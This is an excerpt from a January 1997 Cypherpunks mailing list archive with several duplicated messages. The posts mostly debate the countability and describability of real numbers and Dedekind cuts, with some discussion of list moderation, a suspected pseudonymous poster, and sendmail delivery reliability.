~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 19 Jan 1997 20:38:54 -0800 (PST)
To: dthorn@gte.net (Dale Thorn)
Subject: Re: [STEGO] Sphere packings
In-Reply-To: <32E2D857.34EC@gte.net>
Message-ID: <199701200433.WAA00474@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


i have all of them archived.

igor

Dale Thorn wrote:
> 
> Huge Cajones Remailer wrote:
> 
> I haven't saved any of these posts, and after all this time, it
> occurs to me that a complete collection of the caricatures, doable
> on a standard keyboard, would make a nice children's playbook.
> 
> Has anyone thought of this?
> 
> > Tim C. May will.....
> >          \|/
> >         (*,*) Tim C. May
> >        _m_-_m_
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 19 Jan 1997 20:27:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: [Math Noise] (fwd)
Message-ID: <199701200434.WAA01500@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Yes, the Reals can be constructed from the Rationals.  No, the
> Reals are not a subset of the Rationals.

An arbitrary Real can be constructed from the Rationals. If we accept the
proposition, as posed apparently by you and others, of uncountable Reals then
your 'assumption' fails, otherwise the 'uncountable' members would be
countable.

> Er, no.  But you can create a number which is not representable
> as a fraction as a limit point of very many fractions.

A 'limit point' is not the same as 'equal to'. Arbitrarily close is not
equivalent, inherent in the definition of a limit point is the concept of
'little o' and 'big o', or worded differently our axiomatic definition of
infinity.

> If we then consider equivalence classes of those Cauchy sequences
> which converge to the same limit, and consider an element of the
> original set to correspond to the class containing the sequence
> all of whose members are that element, we can consider the
> classes to form a "completion" of the original set by addition of
> all its limit points.

We can, but there is no fundamental rule in mathematics that requires me to
ignore the small but distinct difference between the element in the original
set and the sequences used to approximate it. It is something that must be
agreed upon by accepting a particular axiomatic definition of infinity.

> Dedekind Cuts are a simple abstraction, often used to construct
> the Reals from the Rationals in undergraduate calculus courses.
> Conceptually, one makes a single "cut" in the set of Rationals,
> dividing it into two parts, all of the members of one part being
> greater than all of the members of the other.  The number of ways
> of doing this correspond to the Reals.

The number of cuts are 1-to-1 with the Reals, they are not the Reals.
There is no way I can make a cut which is 3.1527, only 1-to-1 with the
number(s). Important distinction.


                                                  Jim Choate
                                                  CyberTects
                                                  ravage@ssz.com


"The best lack all conviction, while the worst are full of passionate
 intensity."

                                                     Yeats




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 19 Jan 1997 20:56:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: [Math Noise] (fwd)
Message-ID: <199701200456.UAA00404@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Yes, the Reals can be constructed from the Rationals.  No, the
> Reals are not a subset of the Rationals.

An arbitrary Real can be constructed from the Rationals. If we accept the
proposition, as posed apparently by you and others, of uncountable Reals then
your 'assumption' fails, otherwise the 'uncountable' members would be
countable.

> Er, no.  But you can create a number which is not representable
> as a fraction as a limit point of very many fractions.

A 'limit point' is not the same as 'equal to'. Arbitrarily close is not
equivalent, inherent in the definition of a limit point is the concept of
'little o' and 'big o', or worded differently our axiomatic definition of
infinity.

> If we then consider equivalence classes of those Cauchy sequences
> which converge to the same limit, and consider an element of the
> original set to correspond to the class containing the sequence
> all of whose members are that element, we can consider the
> classes to form a "completion" of the original set by addition of
> all its limit points.

We can, but there is no fundamental rule in mathematics that requires me to
ignore the small but distinct difference between the element in the original
set and the sequences used to approximate it. It is something that must be
agreed upon by accepting a particular axiomatic definition of infinity.

> Dedekind Cuts are a simple abstraction, often used to construct
> the Reals from the Rationals in undergraduate calculus courses.
> Conceptually, one makes a single "cut" in the set of Rationals,
> dividing it into two parts, all of the members of one part being
> greater than all of the members of the other.  The number of ways
> of doing this correspond to the Reals.

The number of cuts are 1-to-1 with the Reals, they are not the Reals.
There is no way I can make a cut which is 3.1527, only 1-to-1 with the
number(s). Important distinction.


                                                  Jim Choate
                                                  CyberTects
                                                  ravage@ssz.com


"The best lack all conviction, while the worst are full of passionate
 intensity."

                                                     Yeats





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Sun, 19 Jan 1997 22:36:50 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Monitoring the monitors [Was: Gilmore and Sandfart suck
Message-ID: <199701200636.WAA21133@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About 19 Jan 97 at 17:37, Dale Thorn wrote:

> Somebody correct me if I'm wrong.  We already get the censored stuff
> on the alleged-to-be "unedited" list, so by looking at the censored
> list only, we can do the subtraction more reliably than Sandfort.
> 
> Just the censored list is needed, not the cut-out stuff, as far as I
> know.

I disagree.  Or I don't quite understand what you are saying.  I
want to see the moderated list and I want to see what was removed.

So since I was automatically given the Moderated List, I just put in 
a subscription, under a different address, so I can easily see what was 
removed.  Of the three lists that now exist: unedited, edited, and 
removed posts, I would chose to remove the unedited version so that I 
can keep my eye on what the moderators decide I should not see.  That 
gives me an insight into what they think.  

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ross Wright <rwright@adnetsol.com>
Date: Mon, 20 Jan 1997 08:11:51 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Monitoring the monitors [Was: Gilmore and Sandfart suck
Message-ID: <199701201611.IAA12370@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About 19 Jan 97 at 17:37, Dale Thorn wrote:

> Somebody correct me if I'm wrong.  We already get the censored stuff
> on the alleged-to-be "unedited" list, so by looking at the censored
> list only, we can do the subtraction more reliably than Sandfort.
> 
> Just the censored list is needed, not the cut-out stuff, as far as I
> know.

I disagree.  Or I don't quite understand what you are saying.  I
want to see the moderated list and I want to see what was removed.

So since I was automatically given the Moderated List, I just put in 
a subscription, under a different address, so I can easily see what was 
removed.  Of the three lists that now exist: unedited, edited, and 
removed posts, I would chose to remove the unedited version so that I 
can keep my eye on what the moderators decide I should not see.  That 
gives me an insight into what they think.  

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 19 Jan 1997 21:48:18 -0800 (PST)
To: ravage@EINSTEIN.ssz.com (Jim Choate)
Subject: Re: Dedikend Cut's and such
In-Reply-To: <199701200008.SAA00943@einstein>
Message-ID: <199701200650.WAA07301@songbird.com>
MIME-Version: 1.0
Content-Type: text


Jim Choate allegedly said:
> 
> 
> Hi,
> 
> Did a little research, Dedekind Cut's and such use Integers to define a
> SPECIFIC Real to a arbitrary BUT FIXED resolution. They do not define the
> set of Reals.

They do.  The set of all numbers representable by a DC is precisely 
the set of reals.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 19 Jan 1997 22:10:45 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Dedikend Cut's and such
Message-ID: <199701200610.WAA01640@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate allegedly said:
> 
> 
> Hi,
> 
> Did a little research, Dedekind Cut's and such use Integers to define a
> SPECIFIC Real to a arbitrary BUT FIXED resolution. They do not define the
> set of Reals.

They do.  The set of all numbers representable by a DC is precisely 
the set of reals.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Elliott <paul.elliott@hrnowl.lonestar.org>
Date: Sun, 19 Jan 1997 16:45:02 -0800 (PST)
To: cypherpunks@toad.com (cypherpunks mailing list)
Subject: Re: Numbers we cannot talk about
In-Reply-To: <"Anonymous"@Jan>
Message-ID: <32e2a55c.flight@flight.hrnowl.lonestar.org>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

> 
> At 10:48 PM 1/18/1997, Secret Squirrel wrote:
> >Is it REALLY true that there are real numbers that cannot be
> >generated by any algorithm? Some guy said that since the set of
> >algorithms is countable, but the set of real numbers is more than
> >countable, there must be some numbers for which there is no
> >algorithms that generate them.
> 
> There are sets of real numbers whose existence we can prove, but which
> we cannot otherwise describe.  This is more extreme than being
> "generated by an algorithm".  We can't even tell somebody which
> numbers to generate!  (I take "to generate" here to mean "to compute a
> decimal approximation.")
> 
> The set of real numbers is uncountable as is the set of subsets of the
> real numbers.  Yet, we have only countably infinite ways to describe
> sets of numbers.
> 
> All sets of numbers which we can describe can be described with a
> finite set of symbols.  (Human beings are unable to distinguish
> between an infinite number of states.)  The set of combinations of
> this finite set is infinite, but countable.
> 

Perhaps the axioms in set theory that tells us that the integers
have an uncountable number of subsets is, in point of fact, false.
Perhaps only those subsets of the integers that can be described
by an algorithm exist (actually, contrary to what the usual axioms of
set theory assert).

We know that the set of axioms which tell us that there are unaccountably
many reals can be satisfied by a countable model!
(Downward Louwenheim Skolem Tarski theorem.)

I know that Standard mathematical axioms yields lots of interesting
results, but when it talks of the infinite and we are dealing
with a practical subject like cryptography or even physics it
should not be taken too seriously. (With respect to uncountable sets.)

- -- 
Paul Elliott                                  Telephone: 1-713-781-4543
Paul.Elliott@hrnowl.lonestar.org              Address:   3987 South Gessner #224
                                              Houston Texas 77063

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dsmith@prairienet.org>
Date: Sun, 19 Jan 1997 20:50:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Don't send this to the moderated list...
Message-ID: <3.0.32.19970119225041.0069931c@midwest.net>
MIME-Version: 1.0
Content-Type: text/plain


Send this message to cp-flames and cp-unedited, not to
the moderated list.  Not only is is devoid of crypto
content, but it'll allow me to verify that I've
been subscrived :) to the appropriate list (also
to see if the headers are changed to the point
where I have to modify my filters, etc.)

dave

----- David E. Smith, P O Box 324, Cape Girardeau MO USA 63702
dsmith@prairienet.org        http://www.prairienet.org/~dsmith
send mail with subject of "send pgp-key" for my PGP public key
" . . . but I'm an AMERICAN criminal lunatic!"  ---  The Joker





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 19 Jan 1997 21:19:05 -0800 (PST)
To: dthorn@gte.net (Dale Thorn)
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <32E2D346.1370@gte.net>
Message-ID: <199701200515.XAA00924@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> 
> AIDAS wrote:
> > On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > > > > > Personally, I wish they'd hurry up. I'm getting rather annoyed with the
> > > > > > spam, the "you're all homosexuals" postings, the posts by morons that
> > > > > > can't figure out Majordomo or their mailers, and so on and so forth.
> 
> > > > > Not sure about "all", but someone whose name sounds like AIDS, and who
> > > > > advocates censorship, most likely is one.[snip]
> > Ah, very strong response indeed. I feel as if shot down in flames,
> > and my mind aches from the slice of your wit. Deliver us, oh Vulis,
> > for we are in need!
> 
> It still looks like Sandy to me.  Writing style for one, unwillingness
> to drop an argument for two, and the use of the name AIDAS is *very*
> suspicious.

But Sandy gave his word publicly that he was not AIDAS!

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sun, 19 Jan 1997 22:11:06 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
Message-ID: <199701200611.WAA01692@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
> 
> AIDAS wrote:
> > On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > > > > > Personally, I wish they'd hurry up. I'm getting rather annoyed with the
> > > > > > spam, the "you're all homosexuals" postings, the posts by morons that
> > > > > > can't figure out Majordomo or their mailers, and so on and so forth.
> 
> > > > > Not sure about "all", but someone whose name sounds like AIDS, and who
> > > > > advocates censorship, most likely is one.[snip]
> > Ah, very strong response indeed. I feel as if shot down in flames,
> > and my mind aches from the slice of your wit. Deliver us, oh Vulis,
> > for we are in need!
> 
> It still looks like Sandy to me.  Writing style for one, unwillingness
> to drop an argument for two, and the use of the name AIDAS is *very*
> suspicious.

But Sandy gave his word publicly that he was not AIDAS!

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 19 Jan 1997 23:30:13 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Dr Vulis's crypto experiment (Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT)
In-Reply-To: <199701162142.VAA06080@server.test.net>
Message-ID: <32E31D35.52B9@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote:

> Dimitri is an intelligent guy, and has a high level of crypto
> expertise (he has a PhD on a cryptography topic).  It is my belief
> that his posts can only be understood in a "meta" sense -- he is
> engaged in a highly complex cryptographic experiment.  People who read
> and respond to his individual posts are the unwitting subjects in his
> experiments.  His posts and the responses to them are actually the
> data-set for a thorough cryptanalysis of mailing list threats.

  Your post gives food for thought...much more so than the one in 
which I proposed my "No, he's just an asshole." theory.
  BTW, the results of my poll regarding this theory were:

"Is Too"  --  4%
"Is Not"  --  3%
"Hey, leave me out of this--'they' may be watching!"  --  9%
"Make Big $$Money$$ Licking Your Own Dick!!!"         -- 74%
"Unscribirbe"  --  10%

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Sun, 19 Jan 1997 23:35:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Math Noise] (fwd)
In-Reply-To: <199701200456.UAA00404@toad.com>
Message-ID: <199701200735.XAA17096@netcom19.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate <ravage@EINSTEIN.ssz.com> writes:

 > An arbitrary Real can be constructed from the Rationals. If
 > we accept the proposition, as posed apparently by you and
 > others, of uncountable Reals then your 'assumption' fails,
 > otherwise the 'uncountable' members would be countable.

We can construct the Reals from the Rationals without having to
speak of each specific Real while doing so.  A formal system,
having only a countable number of strings of symbols from its
alphabet, can speak of "The Real Numbers" even though it cannot
speak of "The Real Number X" for every single X in the Reals.

 > A 'limit point' is not the same as 'equal to'. Arbitrarily
 > close is not equivalent, inherent in the definition of a
 > limit point is the concept of 'little o' and 'big o', or
 > worded differently our axiomatic definition of infinity.

In standard analysis, the limit of a sequence A[n] is a value x
such that given any positive epsilon, no matter how small, we can
find a point in the sequence such that all its members after that
point are within epsilon of x.

Such a limit, if it exists, is unique and exactly defined.

"Little o" and "big o" are concepts from complexity theory and I
am not precisely sure why you feel they need to be mentioned.

 > I can, but there is no fundamental rule in mathematics
 > that requires me to ignore the small but distinct
 > difference between the element in the original set and the
 > sequences used to approximate it.

In the general case, the limit point will not be a member of the
sequence which approximates it.  Although every member of the
sequence is a finite distance away from the limit, the limit
itself is, as I previously mentioned, exactly known without any
ambiguity.

 > It is something that must be agreed upon by accepting a
 > particular axiomatic definition of infinity.

An "infinity" is simply the property of being able to be put in
1-1 correspondence with a proper subset of oneself.

 > The number of cuts are 1-to-1 with the Reals, they are not
 > the Reals. There is no way I can make a cut which is
 > 3.1527, only 1-to-1 with the number(s). Important
 > distinction.

Mathematical objects are sets with structure.  We generally
consider two mathematical objects equivalent if there exists a
1-1 correspondence between the respective sets which is structure
preserving. What the actual members of the set are, and how they
were constructed, is usually unimportant.  For all practical
purposes we may refer to any mathematical object isomorphic to
the Reals as "The Reals", without any confusion.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <mpd@netcom.com>
Date: Mon, 20 Jan 1997 08:15:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Math Noise] (fwd)
Message-ID: <199701201615.IAA12481@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate <ravage@EINSTEIN.ssz.com> writes:

 > An arbitrary Real can be constructed from the Rationals. If
 > we accept the proposition, as posed apparently by you and
 > others, of uncountable Reals then your 'assumption' fails,
 > otherwise the 'uncountable' members would be countable.

We can construct the Reals from the Rationals without having to
speak of each specific Real while doing so.  A formal system,
having only a countable number of strings of symbols from its
alphabet, can speak of "The Real Numbers" even though it cannot
speak of "The Real Number X" for every single X in the Reals.

 > A 'limit point' is not the same as 'equal to'. Arbitrarily
 > close is not equivalent, inherent in the definition of a
 > limit point is the concept of 'little o' and 'big o', or
 > worded differently our axiomatic definition of infinity.

In standard analysis, the limit of a sequence A[n] is a value x
such that given any positive epsilon, no matter how small, we can
find a point in the sequence such that all its members after that
point are within epsilon of x.

Such a limit, if it exists, is unique and exactly defined.

"Little o" and "big o" are concepts from complexity theory and I
am not precisely sure why you feel they need to be mentioned.

 > I can, but there is no fundamental rule in mathematics
 > that requires me to ignore the small but distinct
 > difference between the element in the original set and the
 > sequences used to approximate it.

In the general case, the limit point will not be a member of the
sequence which approximates it.  Although every member of the
sequence is a finite distance away from the limit, the limit
itself is, as I previously mentioned, exactly known without any
ambiguity.

 > It is something that must be agreed upon by accepting a
 > particular axiomatic definition of infinity.

An "infinity" is simply the property of being able to be put in
1-1 correspondence with a proper subset of oneself.

 > The number of cuts are 1-to-1 with the Reals, they are not
 > the Reals. There is no way I can make a cut which is
 > 3.1527, only 1-to-1 with the number(s). Important
 > distinction.

Mathematical objects are sets with structure.  We generally
consider two mathematical objects equivalent if there exists a
1-1 correspondence between the respective sets which is structure
preserving. What the actual members of the set are, and how they
were constructed, is usually unimportant.  For all practical
purposes we may refer to any mathematical object isomorphic to
the Reals as "The Reals", without any confusion.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Sun, 19 Jan 1997 23:36:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Math Noise] (fwd)
In-Reply-To: <199701200457.UAA00416@toad.com>
Message-ID: <199701200736.XAA17188@netcom19.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate <ravage@EINSTEIN.ssz.com> writes:

 > In short you are saying there are Reals which can not be
 > expressed in the format:

 >  AmEm + Am-1Em-1 + ... + A0E0 . B0E-1 + B1E-2 + ... + BnE-n+1

 > where m and n -> infinity. Another way of saying this is
 > that there are Reals for which membership in a set of Reals,
 > because they are uncountable and therefore unrepresentable,
 > is not possible. From a set perspective this means,

Again, we may speak of a representation for the Reals within a
formal system, although we may not speak of "The Representation
of X" for every single Real X.

We cannot assign to every Real a finite representation, but we
can talk about the infinite representation all Reals have within
a formal system without running out of space.

The inability of a formal system to talk about each Real
individually, or equivalently, that there are Real numbers which
are not finitely denumerable, does not mean that there are Reals
which do not have an representation as a non-ending sequence of
symbols.

 > R = [[-infinity, ..., m] [n, ..., 0] [0, ..., p] [q, ..., +infinity]]

 > such that there are uncountable numbers between m,n or p,q; etc.

Infinity does not have a predecessor, so it makes no sense to
count back from it a finite number of steps.

 > Clearly in contradiction with the base axioms of
 > mathematics as described by Euclid in defining a line.

This point completely escapes me.

 > And I contend that ANY number which is Real can be
 > expressed by the decimal expansion above. Which clearly
 > qualifies as a formal system.

Useful formal systems employ finite strings from some alphabet.
The set of all possible such strings is countable.  The set of
all sequences from the same alphabet is uncountable, but not
particularly useful for theorem-proving, at least in a finite
amount of time.

 > To say there are Reals for which there is no linear
 > representation is the same as saying there are lengths which
 > can't be measured. Now since a line is nothing but a set of
 > points, which don't have size, but only position this
 > obviously holds no water, unless you are saying it is not
 > possible to place two points arbitrarily close together,
 > which would imply that points have some sort of width,
 > clearly against the definition of a point.

No.  Points do not have width.

 > This all goes back to what I said in a earlier post, the
 > problem comes from our axiomatic (ie taken on faith,
 > unprovable) use of infinity. Without a clear and precise
 > dilineation of those axioms prior to the proof such
 > conclusions are worthless.

In Axiomatic Set Theory, it is necessary to postulate (either
implicitly or explicitly) the existance of one infinite set. This
is an act of faith.  Whether any infinities really exist is a
matter for philosophy.

 > Several of you have said "infinity is not a number", this
 > is an axiom. Change the axioms and the whole structure
 > changes. I am simply saying that perhaps we should look at
 > the "infinity is not a number" axiom, much as geometers look
 > at Euclids Fifth Postulate. There is nothing inherent in
 > nature that prefers one axiomatic expression of infinity
 > over the other.

If one constructs the Ordinals, which are isomorphism classes of
well-ordered sets, and the Cardinals, which are equivalence
classes of equipotent sets, one will automatically end up with
all sorts of transfinite numbers.  We normally don't include
infinities when we build the rationals, the reals, or the complex
numbers, unless we need them for a particular application, such
as in using the extended real number line in defining measures.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <mpd@netcom.com>
Date: Mon, 20 Jan 1997 08:12:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Math Noise] (fwd)
Message-ID: <199701201612.IAA12442@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate <ravage@EINSTEIN.ssz.com> writes:

 > In short you are saying there are Reals which can not be
 > expressed in the format:

 >  AmEm + Am-1Em-1 + ... + A0E0 . B0E-1 + B1E-2 + ... + BnE-n+1

 > where m and n -> infinity. Another way of saying this is
 > that there are Reals for which membership in a set of Reals,
 > because they are uncountable and therefore unrepresentable,
 > is not possible. From a set perspective this means,

Again, we may speak of a representation for the Reals within a
formal system, although we may not speak of "The Representation
of X" for every single Real X.

We cannot assign to every Real a finite representation, but we
can talk about the infinite representation all Reals have within
a formal system without running out of space.

The inability of a formal system to talk about each Real
individually, or equivalently, that there are Real numbers which
are not finitely denumerable, does not mean that there are Reals
which do not have an representation as a non-ending sequence of
symbols.

 > R = [[-infinity, ..., m] [n, ..., 0] [0, ..., p] [q, ..., +infinity]]

 > such that there are uncountable numbers between m,n or p,q; etc.

Infinity does not have a predecessor, so it makes no sense to
count back from it a finite number of steps.

 > Clearly in contradiction with the base axioms of
 > mathematics as described by Euclid in defining a line.

This point completely escapes me.

 > And I contend that ANY number which is Real can be
 > expressed by the decimal expansion above. Which clearly
 > qualifies as a formal system.

Useful formal systems employ finite strings from some alphabet.
The set of all possible such strings is countable.  The set of
all sequences from the same alphabet is uncountable, but not
particularly useful for theorem-proving, at least in a finite
amount of time.

 > To say there are Reals for which there is no linear
 > representation is the same as saying there are lengths which
 > can't be measured. Now since a line is nothing but a set of
 > points, which don't have size, but only position this
 > obviously holds no water, unless you are saying it is not
 > possible to place two points arbitrarily close together,
 > which would imply that points have some sort of width,
 > clearly against the definition of a point.

No.  Points do not have width.

 > This all goes back to what I said in a earlier post, the
 > problem comes from our axiomatic (ie taken on faith,
 > unprovable) use of infinity. Without a clear and precise
 > dilineation of those axioms prior to the proof such
 > conclusions are worthless.

In Axiomatic Set Theory, it is necessary to postulate (either
implicitly or explicitly) the existance of one infinite set. This
is an act of faith.  Whether any infinities really exist is a
matter for philosophy.

 > Several of you have said "infinity is not a number", this
 > is an axiom. Change the axioms and the whole structure
 > changes. I am simply saying that perhaps we should look at
 > the "infinity is not a number" axiom, much as geometers look
 > at Euclids Fifth Postulate. There is nothing inherent in
 > nature that prefers one axiomatic expression of infinity
 > over the other.

If one constructs the Ordinals, which are isomorphism classes of
well-ordered sets, and the Cardinals, which are equivalence
classes of equipotent sets, one will automatically end up with
all sorts of transfinite numbers.  We normally don't include
infinities when we build the rationals, the reals, or the complex
numbers, unless we need them for a particular application, such
as in using the extended real number line in defining measures.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Sun, 19 Jan 1997 21:18:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sandy and the Doc
In-Reply-To: <32E1BBD9.6A0C@gte.net>
Message-ID: <199701200518.VAA12162@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Frantz <frantz@netcom.com> writes:

> I hope if such a system is set up, people who use it will realize that
> email is not 100% reliable.  Just because algebra.com sent mail to
> toad.com, doesn't mean that toad.com actually received it.  A small
> fraction of a percent of these messages will be lost.

Failing something catastrophic like a disk failure or a host down for
more than a week, this should not be the case.  Almost every site
running sendmail has the Os ("SuperSafe") option set.  That means
sendmail will not respond to a "." at the end of a DATA command with
SMTP code 250 until it has written the incoming message (and queue
info) to disk and called fsync.  Thus, you may get 2 copies of a
message, but mail messages should not just disappear regularly at all,
even if the network goes down or a machine crashes.

Non-sendmail MTA's tend to be even more strict about this, not even
allowing this behavior to be disabled.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: WinSock Remailer <winsock@rigel.cyberpass.net>
Date: Sun, 19 Jan 1997 22:12:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sandy and the Doc
Message-ID: <199701200612.WAA01713@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Frantz <frantz@netcom.com> writes:

> I hope if such a system is set up, people who use it will realize that
> email is not 100% reliable.  Just because algebra.com sent mail to
> toad.com, doesn't mean that toad.com actually received it.  A small
> fraction of a percent of these messages will be lost.

Failing something catastrophic like a disk failure or a host down for
more than a week, this should not be the case.  Almost every site
running sendmail has the Os ("SuperSafe") option set.  That means
sendmail will not respond to a "." at the end of a DATA command with
SMTP code 250 until it has written the incoming message (and queue
info) to disk and called fsync.  Thus, you may get 2 copies of a
message, but mail messages should not just disappear regularly at all,
even if the network goes down or a machine crashes.

Non-sendmail MTA's tend to be even more strict about this, not even
allowing this behavior to be disabled.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Sun, 19 Jan 1997 21:24:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: 'Monster' numbers
Message-ID: <199701200524.VAA12384@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



At 5:08 PM 1/19/1997, Jim Choate wrote:
>In reference to numbers which you can't describe, if you examine the work
>they are ALL in the Complex domain, none of them are Real's.

This is incorrect.  The argument outlined applied to real numbers
only.  If you wish to refute the argument please do so.  You might
find it helpful to review the reference in Smullyan's book.

>If there existed a Real for which we could not describe this would imply
>that we could not draw a line of that length.

The subtlety of the idea lies in the fact that you can't make a
statement like "$foo is not describable" where $foo means anything.
Any number for which you can say, "I can draw a line which is $bar
units long" is describable.

Math Man





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: WinSock Remailer <winsock@rigel.cyberpass.net>
Date: Sun, 19 Jan 1997 22:11:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: 'Monster' numbers
Message-ID: <199701200611.WAA01691@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



At 5:08 PM 1/19/1997, Jim Choate wrote:
>In reference to numbers which you can't describe, if you examine the work
>they are ALL in the Complex domain, none of them are Real's.

This is incorrect.  The argument outlined applied to real numbers
only.  If you wish to refute the argument please do so.  You might
find it helpful to review the reference in Smullyan's book.

>If there existed a Real for which we could not describe this would imply
>that we could not draw a line of that length.

The subtlety of the idea lies in the fact that you can't make a
statement like "$foo is not describable" where $foo means anything.
Any number for which you can say, "I can draw a line which is $bar
units long" is describable.

Math Man






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 19 Jan 1997 22:49:35 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: [Math Noise] (fwd)
In-Reply-To: <199701200457.UAA00416@toad.com>
Message-ID: <199701200640.AAA01502@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Jim Choate wrote:
> Forwarded message:
> 
> > Only countably many real numbers, or members of any uncountable
> > set, are denumerable. It is the property of being uncountable,
> > rather than of being real or complex, which is important here.
> 
> In short you are saying there are Reals which can not be expressed in the
> format:
> 
>      AmEm + Am-1Em-1 + ... + A0E0 . B0E-1 + B1E-2 + ... + BnE-n+1

All reals are equivalent to sequences of digits, but there are reals such 
that there is no algorithm to generate their digits.

It happens because there are "more" real numbers than algorithms.

> > In general, only countably many members of any uncountable set
> > can be precisely specified within any formal system, given names
> > comprised of strings of symbols, or other similar things.
> 
> And I contend that ANY number which is Real can be expressed by the decimal
> expansion above. Which clearly qualifies as a formal system.

I suggest the following mental exercise. FORGET FOR A MOMENT ABOUT 
